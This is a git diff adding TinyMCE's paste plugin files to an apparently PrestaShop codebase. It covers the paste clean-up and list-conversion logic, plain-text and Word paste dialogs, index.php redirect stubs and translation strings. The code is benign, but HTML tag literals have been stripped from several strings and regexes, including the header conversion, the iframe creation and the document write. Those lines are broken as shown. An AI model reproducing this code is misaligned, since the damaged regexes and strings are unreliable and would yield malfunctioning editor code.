name.replace(/^mso-|-alt$/g, "") + ":" + ensureUnits(value); + return; + + case "horiz-align": + n[i++] = "text-align:" + value; + return; + + case "vert-align": + n[i++] = "vertical-align:" + value; + return; + + case "font-color": + case "mso-foreground": + n[i++] = "color:" + value; + return; + + case "mso-background": + case "mso-highlight": + n[i++] = "background:" + value; + return; + + case "mso-default-height": + n[i++] = "min-height:" + ensureUnits(value); + return; + + case "mso-default-width": + n[i++] = "min-width:" + ensureUnits(value); + return; + + case "mso-padding-between-alt": + n[i++] = "border-collapse:separate;border-spacing:" + ensureUnits(value); + return; + + case "text-line-through": + if ((value == "single") || (value == "double")) { + n[i++] = "text-decoration:line-through"; + } + return; + + case "mso-zero-height": + if (value == "yes") { + n[i++] = "display:none"; + } + return; + } + + // Eliminate all MS Office style definitions that have no CSS equivalent by examining the first characters in the name + if (/^(mso|column|font-emph|lang|layout|line-break|list-image|nav|panose|punct|row|ruby|sep|size|src|tab-|table-border|text-(?!align|decor|indent|trans)|top-bar|version|vnd|word-break)/.test(name)) { + return; + } + + // If it reached this point, it must be a valid CSS style + n[i++] = name + ":" + parts[1]; // Lower-case name, but keep value case + } + }); + + // If style attribute contained any valid styles the re-write it; otherwise delete style attribute. + if (i > 0) { + return tag + ' style="' + n.join(';') + '"'; + } else { + return tag; + } + } + ] + ]); + } + } + + // Replace headers with + if (getParam(ed, "paste_convert_headers_to_strong")) { + process([ + [/]*>/gi, "

    "], + [/<\/h[1-6][^>]*>/gi, "

    "] + ]); + } + + process([ + // Copy paste from Java like Open Office will produce this junk on FF + [/Version:[\d.]+\nStartHTML:\d+\nEndHTML:\d+\nStartFragment:\d+\nEndFragment:\d+/gi, ''] + ]); + + // Class attribute options are: leave all as-is ("none"), remove all ("all"), or remove only those starting with mso ("mso"). + // Note:- paste_strip_class_attributes: "none", verify_css_classes: true is also a good variation. + stripClass = getParam(ed, "paste_strip_class_attributes"); + + if (stripClass !== "none") { + function removeClasses(match, g1) { + if (stripClass === "all") + return ''; + + var cls = grep(explode(g1.replace(/^(["'])(.*)\1$/, "$2"), " "), + function(v) { + return (/^(?!mso)/i.test(v)); + } + ); + + return cls.length ? ' class="' + cls.join(" ") + '"' : ''; + }; + + h = h.replace(/ class="([^"]+)"/gi, removeClasses); + h = h.replace(/ class=([\-\w]+)/gi, removeClasses); + } + + // Remove spans option + if (getParam(ed, "paste_remove_spans")) { + h = h.replace(/<\/?span[^>]*>/gi, ""); + } + + //console.log('After preprocess:' + h); + + o.content = h; + }, + + /** + * Various post process items. + */ + _postProcess : function(pl, o) { + var t = this, ed = t.editor, dom = ed.dom, styleProps; + + if (ed.settings.paste_enable_default_filters == false) { + return; + } + + if (o.wordContent) { + // Remove named anchors or TOC links + each(dom.select('a', o.node), function(a) { + if (!a.href || a.href.indexOf('#_Toc') != -1) + dom.remove(a, 1); + }); + + if (getParam(ed, "paste_convert_middot_lists")) { + t._convertLists(pl, o); + } + + // Process styles + styleProps = getParam(ed, "paste_retain_style_properties"); // retained properties + + // Process only if a string was specified and not equal to "all" or "*" + if ((tinymce.is(styleProps, "string")) && (styleProps !== "all") && (styleProps !== "*")) { + styleProps = tinymce.explode(styleProps.replace(/^none$/i, "")); + + // Retains some style properties + each(dom.select('*', o.node), function(el) { + var newStyle = {}, npc = 0, i, sp, sv; + + // Store a subset of the existing styles + if (styleProps) { + for (i = 0; i < styleProps.length; i++) { + sp = styleProps[i]; + sv = dom.getStyle(el, sp); + + if (sv) { + newStyle[sp] = sv; + npc++; + } + } + } + + // Remove all of the existing styles + dom.setAttrib(el, 'style', ''); + + if (styleProps && npc > 0) + dom.setStyles(el, newStyle); // Add back the stored subset of styles + else // Remove empty span tags that do not have class attributes + if (el.nodeName == 'SPAN' && !el.className) + dom.remove(el, true); + }); + } + } + + // Remove all style information or only specifically on WebKit to avoid the style bug on that browser + if (getParam(ed, "paste_remove_styles") || (getParam(ed, "paste_remove_styles_if_webkit") && tinymce.isWebKit)) { + each(dom.select('*[style]', o.node), function(el) { + el.removeAttribute('style'); + el.removeAttribute('data-mce-style'); + }); + } else { + if (tinymce.isWebKit) { + // We need to compress the styles on WebKit since if you paste it will become + // Removing the mce_style that contains the real value will force the Serializer engine to compress the styles + each(dom.select('*', o.node), function(el) { + el.removeAttribute('data-mce-style'); + }); + } + } + }, + + /** + * Converts the most common bullet and number formats in Office into a real semantic UL/LI list. + */ + _convertLists : function(pl, o) { + var dom = pl.editor.dom, listElm, li, lastMargin = -1, margin, levels = [], lastType, html; + + // Convert middot lists into real semantic lists + each(dom.select('p', o.node), function(p) { + var sib, val = '', type, html, idx, parents; + + // Get text node value at beginning of paragraph + for (sib = p.firstChild; sib && sib.nodeType == 3; sib = sib.nextSibling) + val += sib.nodeValue; + + val = p.innerHTML.replace(/<\/?\w+[^>]*>/gi, '').replace(/ /g, '\u00a0'); + + // Detect unordered lists look for bullets + if (/^(__MCE_ITEM__)+[\u2022\u00b7\u00a7\u00d8o\u25CF]\s*\u00a0*/.test(val)) + type = 'ul'; + + // Detect ordered lists 1., a. or ixv. + if (/^__MCE_ITEM__\s*\w+\.\s*\u00a0+/.test(val)) + type = 'ol'; + + // Check if node value matches the list pattern: o   + if (type) { + margin = parseFloat(p.style.marginLeft || 0); + + if (margin > lastMargin) + levels.push(margin); + + if (!listElm || type != lastType) { + listElm = dom.create(type); + dom.insertAfter(listElm, p); + } else { + // Nested list element + if (margin > lastMargin) { + listElm = li.appendChild(dom.create(type)); + } else if (margin < lastMargin) { + // Find parent level based on margin value + idx = tinymce.inArray(levels, margin); + parents = dom.getParents(listElm.parentNode, type); + listElm = parents[parents.length - 1 - idx] || listElm; + } + } + + // Remove middot or number spans if they exists + each(dom.select('span', p), function(span) { + var html = span.innerHTML.replace(/<\/?\w+[^>]*>/gi, ''); + + // Remove span with the middot or the number + if (type == 'ul' && /^__MCE_ITEM__[\u2022\u00b7\u00a7\u00d8o\u25CF]/.test(html)) + dom.remove(span); + else if (/^__MCE_ITEM__[\s\S]*\w+\.( |\u00a0)*\s*/.test(html)) + dom.remove(span); + }); + + html = p.innerHTML; + + // Remove middot/list items + if (type == 'ul') + html = p.innerHTML.replace(/__MCE_ITEM__/g, '').replace(/^[\u2022\u00b7\u00a7\u00d8o\u25CF]\s*( |\u00a0)+\s*/, ''); + else + html = p.innerHTML.replace(/__MCE_ITEM__/g, '').replace(/^\s*\w+\.( |\u00a0)+\s*/, ''); + + // Create li and add paragraph data into the new li + li = listElm.appendChild(dom.create('li', 0, html)); + dom.remove(p); + + lastMargin = margin; + lastType = type; + } else + listElm = lastMargin = 0; // End list element + }); + + // Remove any left over makers + html = o.node.innerHTML; + if (html.indexOf('__MCE_ITEM__') != -1) + o.node.innerHTML = html.replace(/__MCE_ITEM__/g, ''); + }, + + /** + * Inserts the specified contents at the caret position. + */ + _insert : function(h, skip_undo) { + var ed = this.editor, r = ed.selection.getRng(); + + // First delete the contents seems to work better on WebKit when the selection spans multiple list items or multiple table cells. + if (!ed.selection.isCollapsed() && r.startContainer != r.endContainer) + ed.getDoc().execCommand('Delete', false, null); + + ed.execCommand('mceInsertContent', false, h, {skip_undo : skip_undo}); + }, + + /** + * Instead of the old plain text method which tried to re-create a paste operation, the + * new approach adds a plain text mode toggle switch that changes the behavior of paste. + * This function is passed the same input that the regular paste plugin produces. + * It performs additional scrubbing and produces (and inserts) the plain text. + * This approach leverages all of the great existing functionality in the paste + * plugin, and requires minimal changes to add the new functionality. + * Speednet - June 2009 + */ + _insertPlainText : function(content) { + var ed = this.editor, + linebr = getParam(ed, "paste_text_linebreaktype"), + rl = getParam(ed, "paste_text_replacements"), + is = tinymce.is; + + function process(items) { + each(items, function(v) { + if (v.constructor == RegExp) + content = content.replace(v, ""); + else + content = content.replace(v[0], v[1]); + }); + }; + + if ((typeof(content) === "string") && (content.length > 0)) { + // If HTML content with line-breaking tags, then remove all cr/lf chars because only tags will break a line + if (/<(?:p|br|h[1-6]|ul|ol|dl|table|t[rdh]|div|blockquote|fieldset|pre|address|center)[^>]*>/i.test(content)) { + process([ + /[\n\r]+/g + ]); + } else { + // Otherwise just get rid of carriage returns (only need linefeeds) + process([ + /\r+/g + ]); + } + + process([ + [/<\/(?:p|h[1-6]|ul|ol|dl|table|div|blockquote|fieldset|pre|address|center)>/gi, "\n\n"], // Block tags get a blank line after them + [/]*>|<\/tr>/gi, "\n"], // Single linebreak for
    tags and table rows + [/<\/t[dh]>\s*]*>/gi, "\t"], // Table cells get tabs betweem them + /<[a-z!\/?][^>]*>/gi, // Delete all remaining tags + [/ /gi, " "], // Convert non-break spaces to regular spaces (remember, *plain text*) + [/(?:(?!\n)\s)*(\n+)(?:(?!\n)\s)*/gi, "$1"],// Cool little RegExp deletes whitespace around linebreak chars. + [/\n{3,}/g, "\n\n"] // Max. 2 consecutive linebreaks + ]); + + content = ed.dom.decode(tinymce.html.Entities.encodeRaw(content)); + + // Perform default or custom replacements + if (is(rl, "array")) { + process(rl); + } else if (is(rl, "string")) { + process(new RegExp(rl, "gi")); + } + + // Treat paragraphs as specified in the config + if (linebr == "none") { + // Convert all line breaks to space + process([ + [/\n+/g, " "] + ]); + } else if (linebr == "br") { + // Convert all line breaks to
    + process([ + [/\n/g, "
    "] + ]); + } else if (linebr == "p") { + // Convert all line breaks to

    ...

    + process([ + [/\n+/g, "

    "], + [/^(.*<\/p>)(

    )$/, '

    $1'] + ]); + } else { + // defaults to "combined" + // Convert single line breaks to
    and double line breaks to

    ...

    + process([ + [/\n\n/g, "

    "], + [/^(.*<\/p>)(

    )$/, '

    $1'], + [/\n/g, "
    "] + ]); + } + + ed.execCommand('mceInsertContent', false, content); + } + }, + + /** + * This method will open the old style paste dialogs. Some users might want the old behavior but still use the new cleanup engine. + */ + _legacySupport : function() { + var t = this, ed = t.editor; + + // Register command(s) for backwards compatibility + ed.addCommand("mcePasteWord", function() { + ed.windowManager.open({ + file: t.url + "/pasteword.htm", + width: parseInt(getParam(ed, "paste_dialog_width")), + height: parseInt(getParam(ed, "paste_dialog_height")), + inline: 1 + }); + }); + + if (getParam(ed, "paste_text_use_dialog")) { + ed.addCommand("mcePasteText", function() { + ed.windowManager.open({ + file : t.url + "/pastetext.htm", + width: parseInt(getParam(ed, "paste_dialog_width")), + height: parseInt(getParam(ed, "paste_dialog_height")), + inline : 1 + }); + }); + } + + // Register button for backwards compatibility + ed.addButton("pasteword", {title : "paste.paste_word_desc", cmd : "mcePasteWord"}); + } + }); + + // Register plugin + tinymce.PluginManager.add("paste", tinymce.plugins.PastePlugin); +})(); diff --git a/js/tiny_mce/plugins/paste/index.php b/js/tiny_mce/plugins/paste/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/paste/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/paste/js/index.php b/js/tiny_mce/plugins/paste/js/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/plugins/paste/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/js/pastetext.js b/js/tiny_mce/plugins/paste/js/pastetext.js new file mode 100755 index 0000000..81b1d6a --- /dev/null +++ b/js/tiny_mce/plugins/paste/js/pastetext.js @@ -0,0 +1,36 @@ +tinyMCEPopup.requireLangPack(); + +var PasteTextDialog = { + init : function() { + this.resize(); + }, + + insert : function() { + var h = tinyMCEPopup.dom.encode(document.getElementById('content').value), lines; + + // Convert linebreaks into paragraphs + if (document.getElementById('linebreaks').checked) { + lines = h.split(/\r?\n/); + if (lines.length > 1) { + h = ''; + tinymce.each(lines, function(row) { + h += '

    ' + row + '

    '; + }); + } + } + + tinyMCEPopup.editor.execCommand('mceInsertClipboardContent', false, {content : h}); + tinyMCEPopup.close(); + }, + + resize : function() { + var vp = tinyMCEPopup.dom.getViewPort(window), el; + + el = document.getElementById('content'); + + el.style.width = (vp.w - 20) + 'px'; + el.style.height = (vp.h - 90) + 'px'; + } +}; + +tinyMCEPopup.onInit.add(PasteTextDialog.init, PasteTextDialog); diff --git a/js/tiny_mce/plugins/paste/js/pasteword.js b/js/tiny_mce/plugins/paste/js/pasteword.js new file mode 100755 index 0000000..959bf39 --- /dev/null +++ b/js/tiny_mce/plugins/paste/js/pasteword.js @@ -0,0 +1,51 @@ +tinyMCEPopup.requireLangPack(); + +var PasteWordDialog = { + init : function() { + var ed = tinyMCEPopup.editor, el = document.getElementById('iframecontainer'), ifr, doc, css, cssHTML = ''; + + // Create iframe + el.innerHTML = ''; + ifr = document.getElementById('iframe'); + doc = ifr.contentWindow.document; + + // Force absolute CSS urls + css = [ed.baseURI.toAbsolute("themes/" + ed.settings.theme + "/skins/" + ed.settings.skin + "/content.css")]; + css = css.concat(tinymce.explode(ed.settings.content_css) || []); + tinymce.each(css, function(u) { + cssHTML += ''; + }); + + // Write content into iframe + doc.open(); + doc.write('' + cssHTML + ''); + doc.close(); + + doc.designMode = 'on'; + this.resize(); + + window.setTimeout(function() { + ifr.contentWindow.focus(); + }, 10); + }, + + insert : function() { + var h = document.getElementById('iframe').contentWindow.document.body.innerHTML; + + tinyMCEPopup.editor.execCommand('mceInsertClipboardContent', false, {content : h, wordContent : true}); + tinyMCEPopup.close(); + }, + + resize : function() { + var vp = tinyMCEPopup.dom.getViewPort(window), el; + + el = document.getElementById('iframe'); + + if (el) { + el.style.width = (vp.w - 20) + 'px'; + el.style.height = (vp.h - 90) + 'px'; + } + } +}; + +tinyMCEPopup.onInit.add(PasteWordDialog.init, PasteWordDialog); diff --git a/js/tiny_mce/plugins/paste/langs/ar_dlg.js b/js/tiny_mce/plugins/paste/langs/ar_dlg.js new file mode 100755 index 0000000..f4fb2ab --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.paste_dlg',{"word_title":"\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0639\u0644\u0649 \u0644\u0648\u062d\u0629 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d \u0644\u0644\u0635\u0642 \u0627\u0644\u0646\u0635 \u0641\u064a \u0627\u0644\u0625\u0637\u0627\u0631.( CTRL+V )","text_linebreaks":"\u0627\u062d\u062a\u0641\u0638 \u0628\u0641\u0648\u0627\u0635\u0644 \u0627\u0644\u0623\u0633\u0637\u0631","text_title":"\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0639\u0644\u0649 \u0644\u0648\u062d\u0629 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d \u0644\u0644\u0635\u0642 \u0627\u0644\u0646\u0635 \u0641\u064a \u0627\u0644\u0625\u0637\u0627\u0631.( CTRL+V )"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/az_dlg.js b/js/tiny_mce/plugins/paste/langs/az_dlg.js new file mode 100755 index 0000000..98a7fe1 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.paste_dlg',{"word_title":"P\u0259nc\u0259r\u0259y\u0259 s\u00f6z \u0259lav\u0259 etm\u0259k \u00fc\u00e7\u00fcn CTRL+V klavi\u015f birl\u0259\u015fm\u0259sini istifad\u0259 edin.","text_linebreaks":"S\u0259tr s\u0131nmalar\u0131n\u0131 saxla","text_title":"P\u0259nc\u0259r\u0259y\u0259 m\u0259tn \u0259lav\u0259 etm\u0259k \u00fc\u00e7\u00fcn CTRL+V klavi\u015f birl\u0259\u015fm\u0259sini istifad\u0259 edin."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/bg_dlg.js b/js/tiny_mce/plugins/paste/langs/bg_dlg.js new file mode 100755 index 0000000..722ecdc --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.paste_dlg',{"word_title":"\u0418\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0439\u0442\u0435 CTRL V \u043e\u0442 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u0430\u0442\u0430, \u0437\u0430 \u0434\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u0435 \u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446\u0430.","text_linebreaks":"\u0417\u0430\u043f\u0430\u0437\u0438 \u0437\u043d\u0430\u0446\u0438\u0442\u0435 \u0437\u0430 \u043d\u043e\u0432\u0438 \u0440\u0435\u0434\u043e\u0432\u0435","text_title":"\u0418\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0439\u0442\u0435 CTRL V \u043d\u0430 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u0430\u0442\u0430, \u0437\u0430 \u0434\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u0435 \u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446\u0430."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/ca_dlg.js b/js/tiny_mce/plugins/paste/langs/ca_dlg.js new file mode 100755 index 0000000..ac180fb --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.paste_dlg',{"word_title":"Amb el teclat utilitzeu CTRL+V per a enganxar el text dins la finestra.","text_linebreaks":"Conserva els salts de l\u00ednia","text_title":"Amb el teclat utilitzeu CTRL+V per a enganxar el text dins la finestra."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/cs_dlg.js b/js/tiny_mce/plugins/paste/langs/cs_dlg.js new file mode 100755 index 0000000..66936bb --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.paste_dlg',{"word_title":"Pou\u017eijte CTRL+V pro vlo\u017een\u00ed textu do okna.","text_linebreaks":"Zachovat zalamov\u00e1n\u00ed \u0159\u00e1dk\u016f","text_title":"Pou\u017eijte CTRL+V pro vlo\u017een\u00ed textu do okna."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/da_dlg.js b/js/tiny_mce/plugins/paste/langs/da_dlg.js new file mode 100755 index 0000000..7e1b961 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.paste_dlg',{"word_title":"Anvend CTRL+V p\u00e5 tastaturet for at inds\u00e6tte teksten.","text_linebreaks":"Bevar linieskift","text_title":"Anvend CTRL+V p\u00e5 tastaturet for at inds\u00e6tte teksten."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/de_dlg.js b/js/tiny_mce/plugins/paste/langs/de_dlg.js new file mode 100755 index 0000000..84b9bc6 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.paste_dlg',{"word_title":"Dr\u00fccken Sie auf Ihrer Tastatur Strg+V, um den Text einzuf\u00fcgen.","text_linebreaks":"Zeilenumbr\u00fcche beibehalten","text_title":"Dr\u00fccken Sie auf Ihrer Tastatur Strg+V, um den Text einzuf\u00fcgen."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/el_dlg.js b/js/tiny_mce/plugins/paste/langs/el_dlg.js new file mode 100755 index 0000000..563ecc7 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.paste_dlg',{"word_title":"\u03a7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03c4\u03b5 CTRL+V \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03ba\u03ac\u03bd\u03b5\u03c4\u03b5 \u03b5\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5 \u03c3\u03c4\u03bf \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf.","text_linebreaks":"\u039d\u03b1 \u03ba\u03c1\u03b1\u03c4\u03b7\u03b8\u03bf\u03cd\u03bd \u03c4\u03b1 linebreaks","text_title":"\u03a7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03c4\u03b5 CTRL+V \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03ba\u03ac\u03bd\u03b5\u03c4\u03b5 \u03b5\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5 \u03c3\u03c4\u03bf \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/en_dlg.js b/js/tiny_mce/plugins/paste/langs/en_dlg.js new file mode 100755 index 0000000..bc74daf --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.paste_dlg',{"word_title":"Use Ctrl+V on your keyboard to paste the text into the window.","text_linebreaks":"Keep Linebreaks","text_title":"Use Ctrl+V on your keyboard to paste the text into the window."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/es_dlg.js b/js/tiny_mce/plugins/paste/langs/es_dlg.js new file mode 100755 index 0000000..82d8dc2 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.paste_dlg',{"word_title":"Use CTRL+V en su teclado para pegar el texto en la ventana.","text_linebreaks":"Keep linebreaks","text_title":"Use CTRL+V en su teclado para pegar el texto en la ventana."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/et_dlg.js b/js/tiny_mce/plugins/paste/langs/et_dlg.js new file mode 100755 index 0000000..8949d83 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.paste_dlg',{"word_title":"Vajuta CTRL+V oma klaviatuuril teksti aknasse kleepimiseks.","text_linebreaks":"J\u00e4ta reavahetused","text_title":"Vajuta CTRL+V oma klaviatuuril teksti aknasse kleepimiseks."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/fa_dlg.js b/js/tiny_mce/plugins/paste/langs/fa_dlg.js new file mode 100755 index 0000000..cb554bc --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.paste_dlg',{"word_title":"\u062c\u0647\u062a \u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0645\u062a\u0646 \u062f\u0631 \u067e\u0646\u062c\u0631\u0647 \u0627\u0632 CTRL+V \u0628\u0631 \u0631\u0648\u06cc \u0635\u0641\u062d\u0647 \u06a9\u0644\u06cc\u062f \u062e\u0648\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f.","text_linebreaks":"\u062d\u0641\u0638 \u0642\u0637\u0639 \u062e\u0637\u0648\u0637","text_title":"\u062c\u0647\u062a \u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0645\u062a\u0646 \u062f\u0631 \u067e\u0646\u062c\u0631\u0647 \u0627\u0632 CTRL+V \u0628\u0631 \u0631\u0648\u06cc \u0635\u0641\u062d\u0647 \u06a9\u0644\u06cc\u062f \u062e\u0648\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/fi_dlg.js b/js/tiny_mce/plugins/paste/langs/fi_dlg.js new file mode 100755 index 0000000..530e507 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.paste_dlg',{"word_title":"Paina Ctrl+V liitt\u00e4\u00e4ksesi sis\u00e4ll\u00f6n ikkunaan.","text_linebreaks":"S\u00e4ilyt\u00e4 rivinvaihdot","text_title":"Paina Ctrl+V liitt\u00e4\u00e4ksesi sis\u00e4ll\u00f6n ikkunaan."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/fr_dlg.js b/js/tiny_mce/plugins/paste/langs/fr_dlg.js new file mode 100755 index 0000000..acc5d63 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.paste_dlg',{"word_title":"Utilisez CTRL+V sur votre clavier pour coller le texte dans la fen\u00eatre.","text_linebreaks":"Conserver les retours \u00e0 la ligne","text_title":"Utilisez CTRL+V sur votre clavier pour coller le texte dans la fen\u00eatre."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/gl_dlg.js b/js/tiny_mce/plugins/paste/langs/gl_dlg.js new file mode 100755 index 0000000..3fc652d --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.paste_dlg',{"word_title":"Use CTRL+V no teclado pra pega-lo texto na vent\u00e1.","text_linebreaks":"Manter salto de li\u00f1as","text_title":"Use CTRL+V no teclado pra pega-lo texto na vent\u00e1."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/he_dlg.js b/js/tiny_mce/plugins/paste/langs/he_dlg.js new file mode 100755 index 0000000..5fe796a --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.paste_dlg',{"word_title":"\u05d4\u05d3\u05d1\u05d9\u05e7\u05d5 \u05d1\u05d7\u05dc\u05d5\u05df \u05d6\u05d4 \u05d0\u05ea \u05d4\u05d8\u05e7\u05e1\u05d8 \u05d1\u05d0\u05de\u05e6\u05e2\u05d5\u05ea \u05d4\u05de\u05e7\u05e9\u05d9\u05dd CTRL+V.","text_linebreaks":"\u05d4\u05e9\u05d0\u05e8 \u05d0\u05ea \u05e9\u05d5\u05e8\u05d5\u05ea \u05d4\u05e8\u05d5\u05d5\u05d7","text_title":"\u05d4\u05d3\u05d1\u05d9\u05e7\u05d5 \u05d1\u05d7\u05dc\u05d5\u05df \u05d6\u05d4 \u05d0\u05ea \u05d4\u05d8\u05e7\u05e1\u05d8 \u05d1\u05d0\u05de\u05e6\u05e2\u05d5\u05ea \u05d4\u05de\u05e7\u05e9\u05d9\u05dd CTRL+V."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/hu_dlg.js b/js/tiny_mce/plugins/paste/langs/hu_dlg.js new file mode 100755 index 0000000..7f4fb7e --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.paste_dlg',{"word_title":"Haszn\u00e1lja a Ctrl+V-t a billenty\u0171zet\u00e9n a beilleszt\u00e9shez.","text_linebreaks":"Sort\u00f6r\u00e9sek megtart\u00e1sa","text_title":"Haszn\u00e1lja a Ctrl+V-t a billenty\u0171zet\u00e9n a beilleszt\u00e9shez."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/id_dlg.js b/js/tiny_mce/plugins/paste/langs/id_dlg.js new file mode 100755 index 0000000..f3e05b5 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.paste_dlg',{"word_title":"Gunakan CTRL+V pada keyboard untuk paste.","text_linebreaks":"Keep linebreaks","text_title":"Gunakan CTRL+V pada keyboard untuk paste."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/paste/langs/index.php b/js/tiny_mce/plugins/paste/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/paste/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/paste/langs/it_dlg.js b/js/tiny_mce/plugins/paste/langs/it_dlg.js new file mode 100755 index 0000000..f1b8dc7 --- /dev/null +++ 